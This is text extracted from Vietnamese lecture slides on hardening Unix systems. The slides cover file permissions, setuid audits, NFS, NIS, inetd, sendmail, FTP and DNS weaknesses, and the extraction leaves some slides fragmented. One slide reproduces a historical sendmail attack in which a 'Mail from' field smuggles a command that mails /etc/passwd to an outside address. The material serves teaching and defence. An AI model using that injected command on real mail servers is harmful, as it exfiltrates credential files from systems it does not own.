File System SecurityHỆ THỐNG TẬP TIN CỦA UNIX Đối với hệ điều hành UNIX, không có khái niệm các ổ đĩa khác nhau.. Quyền và sở hữu tập tin và thư mục của Unix directory and file permissio
Trang 1File System Security
HỆ THỐNG TẬP TIN CỦA UNIX
Đối với hệ điều hành UNIX, không có khái niệm các ổ đĩa khác nhau Sau quá trình khởi động, toàn bộ các thư mục và tập tin được ‘gắn ‘ lên (mount) và tạo thành một hệ thống tập tin thống nhất, bắt đầu từ
gốc ‘/’
Trang 2Sun Microsystems Inc SunOS 5.6 Generic August 1997
SUN OS File System
Trang 5/ /usr /usr/home /squid
/ /usr /usr/home
/squid
/mnt /mnt/cdrom
TƯƠNG ỨNG GIỮA DISK PARTITIONS
VÀ CẤU TRÚC TẬP TIN
Trang 6GIỚI THIỆU CÁC THƯ MỤC QUAN TRỌNG CỦA UNIX
Trang 7Quyền và sở hữu tập tin và thư mục của Unix (directory and file permission and ownership)
-rw-r—r— 1 fido users 163 Dec 7 14:31 myfile
Kết quả của lệnh ls -l
Khi một tập tin hay thư mục được tạo ra, nó mang owner và group của người tạo ra nó Phần quyền dành cho user, group, other phụ thuộc vào giá trị của umask
Trang 8-rw-rw-r 1 tnminh tnminh 13 Oct 3 21:55 tmp
[tnminh@pasteur /etc]$ umask 022
[tnminh@pasteur tnminh]$ echo “tao mot file khac”>tmp1
[tnminh@pasteur tnminh]$ ls -l
-rw-rw-r 1 tnminh tnminh 13 Oct 3 21:55 tmp
-rw-r r 1 tnminh tnminh 18 Oct 3 21:59 tmp1
Umask và các quyền truy nhập tập tin
Trang 9Dạng nhị phân của quyền truy nhập tập tin và
6 or rw-: read and write
5 or r-x: read and execute
Trang 10Thay đổi các thuộc tính của tập tin và thư
mục
Cách thay đổi tương đối :
chmod g+w myfile thêm khả năng write cho group của myfile
chmod o-x myfile bớt khả năng chạy của others của myfile
Cách thay đổi tuyệt đối :
chmod 644 myfile => myfile sẽ có quyền
rw-r r Đối với các admin, nên dùng cách tuyệt đối vì nó an toàn hơn
Đối với các thư mục, thao tác hoàn toàn tương đương
chown cho phép đổi người sở hữu tập tin,
Chgrp cho phép đổi nhóm của tập tin,
Trang 11setuid và setgid bits
Set-user-id : Set-user-id nghĩa là khi chương trình được chạy, nó sẽ có quyền như người chủ (owner) của file cho dù người gọi chương trình là ai đi nữa
Ví dụ :
$ ls –l /usr/sbin/sendmail
rwsr-xr-x root root sendmail
Tương tự, set-group-id cho quyền chương trình như group của tập tin chương trình.
Bit thứ 4 mã giá trị này 4 = setuid; 2= setgid,
Nếu /bin/sh có setuid bit set thì ai cũng là root vì owner của /bin/sh là root và mọi user đều dùng /bin/sh khi login
setgid cho thư mục = tập tin tạo ra trong thư mục này có cùng group như
group của thư mục
Setuid cho tập tin = không có tác dụng
Sticky bit = user chỉ có quyền xóa file do mình là owner Ví dụ /tmp
Trang 12Bảo mật hệ thống bằng kiểm tra setuid và
setgid bits
•Tìm tập tin có setuid bit set
•find / -perm -4000 -exec ls -l {} \;
•Tương tự cho setguid :
•Tìm tập tin không user
•find / -nouser -exec ls -l {} \;
•Tìm tập tin viết được
•find / -perm –2 -print
•Tìm tập tin không sở hữa
•find / -nouser -print
Trang 13-r-s x x 1 root root 10704 Apr 15 1999 /usr/bin/passwd
-rws x x 2 root root 517916 Apr 7 1999 /usr/bin/suidperl
-rws x x 2 root root 517916 Apr 7 1999 /usr/bin/sperl5.00503
-rwsr-sr-x 1 root mail 64468 Apr 7 1999 /usr/bin/procmail
-rwsr-xr-x 1 root root 14036 Apr 16 1999 /usr/bin/rcp
-rwsr-xr-x 1 root root 10516 Apr 16 1999 /usr/bin/rlogin
•Chú ý : Không nên cho các shell script giá trị setuid hay setgid Nếu
chúng ta cần setuid, setgid, viết chương trình bằng C hay một ngôn ngữ lập trình tương đương
Trang 14Một số tập tin "nguy hiểm" Trusted hosts
•/etc/hosts.equiv : Người sử dụng từ một máy có IP trong tập tin này, có
cùng account name, có thể sử dụng rlogin và rsh mà không cần vào
password trên máy này Rất may rằng root là một ngoại lệ
•.rhosts : giống như /etc/hosts.equiv, nhưng kiểm tra host-user Đặc biệt user có thể tạo rhosts không thông qua admin Vì vậy, nên hoàn toàn cấm việc tạo ra rhosts tại các thư mục cá nhân
Trang 15Checksum và checklist
•Lệnh sum cho phép xem xét xem tập tin có bị thay đổi về nội dung hay không Điều này giúp chúng ta phát hiện được virus vì virus nói chung phải thay đổi nội dung của file
•Nên chạy sum tại những thư mục mà nội dung không thay đổi về nguyeèn tắc /sbin, /bin Ghi lại kết quả vào một tập tin và sử dụng sau này để biết những tập tin có checksum thay đổi
•Checklist (thông qua lệnh ls) cho phép tìm ra những thay đổi của các tập tin hệ thống Chúng ta, cũng như checksum, nên tạo một file checklist ngay từ đầu Bằng cách này, chúng ta sẽ biết được các tập tin mới tạo ra không hợp pháp
Trang 16Access Control List (ACL)
•Đây là một chuẩn mới của Unix cho phép phân quyền hạn truy nhập vào hệ thống tập tin một cách chi tiết hơn hệ thống của Unix truyền thống Hệ thống này cho phép ví dụ cả group ggg có quyền đọc và user uuu của group ggg này có quyền đọc và viết
•Hai lệnh cơ bản của ACL là getfacl và setfacl.
•Nếu chúng ta bổ sung ACL cho một tập tin, chúng ta dùng lệnh
•setfacl -m acl_entry_list filename
•để biết một tập tin có sử dụng ACL, với lệnh ls -l ta có
•-rw-r -+ etc Dấu + hiển thị rằng tập tin sử dụng ACL
•Có thể sử dụng ACL trên SUN OS 5.6
Trang 17Network File System (NFS)
NFS, the Network File System has three important characteristics:
It makes sharing of files over a network possible.
It mostly works well enough.
It opens a can of security risks that are well understood by
crackers, and easily exploited to get access (read, write and delete)
to all your files
Trên nguyên tắc, NFS server tin NFS client và ngược lại Do đó, nếu NFS server hay client bị xâm nhập sẽ dễ dàng dẫn đến sự xâm nhập vào toàn bộ mạng NFS.
Trang 19NFS Client Security
nosuid option : the server's root user cannot make a suid-root
program on the file system, log in to the client as a normal user and then use the suid-root program to become root on the client
Trang 20Remote Call Procedure (RPC)-based
services
- đối với TCP, UDP protocols, port number có 2 bytes (65536 max.)
- Mỗi RPC-based có một RPC service number duy nhất 4 bytes (4294 Mports
- portmapper đợi ở cổng 111 (TCP và UDP)
- khi một RPC based server khởi động, nó sẽ chiếm một cổng TCP hay UDP port, sau đó thông báo cho portmapper ánh xạ giữa số RPC duy nhất của nó và công TCP/UDP nó vừa nhận.
- khi một RPC client muốn kết nối với một RPC-based server, nó “hỏi “ portmapper và được biết cổng TCP ma ø RPC-based server đang đợi.
- Client và server “quên “ portmapper và nối trực tiếp với nhau.
- Kẻ xâm nhập có thể bypass portmapper
Trang 21NFS Server Security
•root_squash option : Now, if a user with UID 0 on the client attempts to access (read,
write, delete) the file system the server substitutes the UID of the
servers `nobody' account Which means that the root user on the
client can't access or change files that only root on the server can
access or change
Nhưng root của client có thể su thành bin hay adm và có thể xâm nhập vào
các tập tin có owner=bin trên server Vì vậy, những tập tin binaries hay tập
tin thường quan trọng nên có owner là root
•portmapper và nfsd có thể có vấn đề về security, cho phép thâm nhập trái phép
vào Server file system Để khắc phục sơ hở này cần có
portmap: ALL trong tập tin /etc/hosts.deny và
portmap: 129.240.223.0/255.255.255.0 trong /etc/hosts.allow để cho phép network
Trang 22Network Information Service (NIS, NIS+)
SUN 1990
• NIS is a service that provides information, that has to be known
throughout the network, to all machines on the network Information likely to be distributed by NIS is:
· login names/passwords/home directories (/etc/passwd)
· group information (/etc/group)
If, for example, your password entry is recorded in the NIS passwd
database, you will be able to login on all machines on the network
which have the NIS client programs running
• NIS+ is designed by Sun Microsystems Inc as a replacement for NIS with better security and better handling of large installations
Trang 23NIS security problems
• Một workstation tham gia vào NIS cần phải có tập tin /etc/passwd với dòng cuối cùng như sau :
• +::0:0:::
• Hoặc +:
Nếu ta dùng dòng một và quên dấu +, ta sẽ có một super-user không login name và không password ;-( Vì vậy nên dùng dòng lệnh thứ hai)
• Nếu /etc/hosts.equiv chỉ chứa + thì tất cả các user của tất cả các host có tên account như máy này có thể truy nhập không cần
password Chú ý một số Unix, kể cả SUN, cài hosts.equiv chỉ với một dòng như vậy ;-(
Trang 24CHECKDIRS="/bin /etc /usr/bin /usr/etc /usr/lib /usr/ucb"
# ls.master is the file to create by command 'ls -alsgR $CHECKDIRS > ls.master
MASTER_LS=ls.master
# sum.master is the file to create by command 'find $CHECKDIRS -type f -exec echo -n {} " " \; -exec sum {} \; > sum.master
echo"Set-User-Id files found:"
find / -type f -a -perm -4000 -exec ls -aslg {} \;
echo ""
#
echo."Set-Group-Id files found:"
find / -type f -a -perm -2000 -exec ls -aslg {} \;
echo ""
#
#
echo"Device files not located in /dev :"
find / \( -type b -o -type c \) -print) | grep -v '^/dev'
Trang 25#
echo " Files owned by none xistents user or group :"
find / \( -nouser -o -nogroup \) -exec ls -aslgd {} \;
echo "Files in $CHECKDIRS whose attributes have changed : "
echo "< = master check list, > = current listing"
diff $MASTER_LS /tmp/lschk.$$
echo ""
#
#
echo "Files in $CHECKDIRS whose checksums have changed:"
echo "< = master check list, > = current listing"
diff $MASTER_SUM /tmp/sumchk.$$
Trang 26Bài 3 : Network Service Security
• Trên đây, chúng ta đã đề cập nhiều đến bảo mật chống các xâm nhập thông qua các điểm yếu hay các lỗi cài đặt hệ thống của hệ điều hành UNIX
• Chúng ta sẽ chuyển sang xem xét các xâm nhập thông qua các dịch mà máy Unix mở ra cho mạng
Trang 27Inetd và /etc/inet.conf
• inetd được sử dụng để khởi động các daemon cung cấp các dịch vụ mạng inetd đợi các nối mạng sau một số cổng Khi có yêu cầu kết nối, inetd sẽ gọi chương trình server tương ứng để thiết lập các kết nối
• inetd sẽ đọc file /etc/inetd.conf khi được gọi lên bộ nhớ
• # <service_name> <sock_type> <proto> <flags> <user> <server_path>
<args>
• # Echo, discard, daytime, and chargen are used primarily for testing.
• # To re-read this file after changes, just do a 'killall -HUP inetd'
• #time stream tcp nowait root internal
• #time dgram udp wait root internal
• #
• # These are standard services.
• #
Trang 28Inetd và security
• /etc/inet.conf có thể dùng để giải quyết một số vấn đề về bảo mật như sau :
- Nếu chúng ta không muốn sử dụng dịch vụ nào, chúng ta chỉ việc đơn giản đặt
dấu # trước dòng cấu hình kết nối đó Với những máy tính đòi hỏi bảo mật cao, quy tắc chung là cấm hết tất cả các dịch vụ mà chúng ta không cần hoặc không biết.Trong trường hợp máy hoạt động không bình thường, chúng ta bỏ dần các
chú thích # và như vậy chúng ta sẽ hiểu chức năng của các dịch vụ.
- Các dịch vụ nên xem xét bỏ là finger, tftp, talk
- Với dịch vụ đang có vấn đề về bảo mật nhưng không cắt đi được, chúng ta có thể giảm quyền của dịch vụ bằng cách thay thông tin trong trường user
Trang 29Email, SMTP và Sendmail
• - Email là dịch vụ cơ bản và phổ biến nhất của Internet Giao diện dùng cho kết nối Email là SMTP (Simple Mail Transfer Protocol)
• - Sendmail là một SMTP server phổ biến nhất Mặc dù sendmail đã
bị nhiều "tai tiếng " về bảo mật trong lịch sử phát triển, nhưng đến hiện nay vẫn chưa có một chương trình nào có khả năng thay thế sendmail, nhất là về mặt tính năng Nguyên nhân của các bug của sendmail là vì sendmail khá dài và phức tạp (#30.000 dòng lệnh), đồng thời khi chạy trên bộ nhớ, sendmail phải có quyền như root để thực hiện nhiệm vụ của mình Tuy nhiên, do có nhiều người sử dụng sendmail, lỗi của sendmail sẽ được tìm ra rất nhanh chóng và được thông báo rộng rãi cho phép sửa chữa nhanh chóng
Trang 302 con đường thâm nhập qua Mail Server
1 Qua các lệnh mà mail server nhận từ ngoài : command channel attacks
Morris worm đã sử dụng con đường này bằng cách sử dụng lỗi debug của sendmail
2 Qua nội dung của mail : data-driven attacks Các chương trình Mail Server đều
sử dụng một chương trình mail local để gửi/nhận thư nội bộ của máy, giao diện với người sử dụng Trên Unix, đó thường là /bin/mail Nếu /bin/mail có bug, kẻ xâm
nhập có thể bắt /bin/mail thực hiện các lệnh ghi trong body của mail
Thư điện tư ngày nay thường là Multimedia, do đó cần những chương trình ngoài để
“đọc “ thư Chương trình ngoài nào “đọc “ thư và “đọc “ như thế nào là ngoài tầm kiểm soát của các chương trình mail cổ điển Ví dụ như một lễ giáng sinh, mạng của IBM bị tê liệt bị phải gửi một cách tự động hàng triệu mail có nhạc của lễ giáng sinh.Hãy cẩn thận với những thư với nội dung khuyên bạn đổi password sang một
Trang 31•Các điểm cần kiểm tra :
•Dùng version mới Cần kiểm tra version của sendmail vì một số version cũ có vấn đề liên quan tới bảo mật hệ thống
•$ telnet pasteur.bvt.hcm 25
•220 pasteur.bvt.hcm ESMTP Sendmail 8.9.3/8.9.3; Wed, 17 Nov 1999 04:46:35
+0700
Một số chức năng wiz, debug không được có
220 pasteur.bvt.hcm ESMTP Sendmail 8.9.3/8.9.3; Wed, 17 Nov 1999 04:46:35 700 wiz
500 Command unrecognized: "wiz"
Kiểm tra sendmail đang chạy
Trang 32Ví dụ một lỗi của sendmail
• telnet victim.com 25
• Trying 128.128.128.1 …
• Connected to victim.com
• Escape character is '^]'.
• 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
• Mail from : "|/bin/mail zen@ecil.com < /etc/passwd"
• 250 "|/bin/mail zen@ecil.com < /etc/passwd" … sender OK
Trang 33• File Transfer Protocol được thực hiện bởi ftp và ftpd Cần sử dụng ftpd sau 1989
•Để bảo mật ftp cần cấu hình tốt cho anonymous FTP
•tạo account ftp và * cho trường password để không login
•tạo home directory cho account ftp (ví dụ /home/ftp)
•thư mục này owner =ftp và không ai được ghi
•chown ftp ~ftp
•chmod 555 ~ftp
•tạo các thư mục bin,etc, usr tùy thuộc theo yêu cầu của Unix đang sử dụng và
các thư mục này đều có quyền 555
FTP
Trang 34ftp (2)
Anonymous connection sẽ dùng ftp account.
thư mục này sẽ được làm tự động
drwxr-xr-x 2 root nobody 1024 Apr 16 1999 samba
Trang 35ftp (3)
• [tnminh@pateur /home]$ ls -l ftp
• total 4
• d x x x 2 root root 1024 Nov 5 02:15 bin
• d x x x 2 root root 1024 Nov 5 02:15 etc
• drwxr-xr-x 2 root root 1024 Nov 5 02:15 lib
• dr-xr-sr-x 2 root ftp 1024 Mar 21 1999 pub
Trang 36ftp (4) : /etc/ftpusers
• /etc/ftpusers chứa những account không dược nối vào qua ftp, ví dụ như root, bin …
• Ví dụ /etc/ftpusers của Linux Redhat 6.0
• [root@pateur /tmp]# more /etc/ftpusers
Trang 37•Tập tin /etc/shells chứa các shells
mà các user được sử dụng như bash,
sh, ash, bsh
Trang 38• Do tftp không đòi hỏi password, chú ý vấn đề bảo mật với tftp
• Tftp của SUNOS trước 4.0 có lỗi cho phép get các tập tin, ngay cả của /etc Cần thay version này
Trang 39Domain Name System (DNS)
• Lỗi đầu tiên của DNS là DNS server và client không kiểm tra xem trả lời mà nó có là từ các server mà nó hỏi hay từ một nguồn nào đó Server có thể cache những thông tin sai lạc này và sử dụng khi có câu hỏi
• Ví dụ, kẻ xâm nhập có thể nói cho server IP của máy của họ chính là máy mà bạn tin tưởng (trusted) và máy của học có thể rlogin không qua password
• BIND Version 4.9 có sửa được lỗi kể trên
• Trên một số OS (ví dụ SUNOS 4.x), quá trình lookup/double
reverse lookup được tự động thực hiện Tức là DNS sẽ tìm IP->
Name rồi Name -> IP và kiểm tra 2 IP xem có khớp không Tuy nhiên phương pháp này không loại bỏ được hoàn toàn lỗi của DNS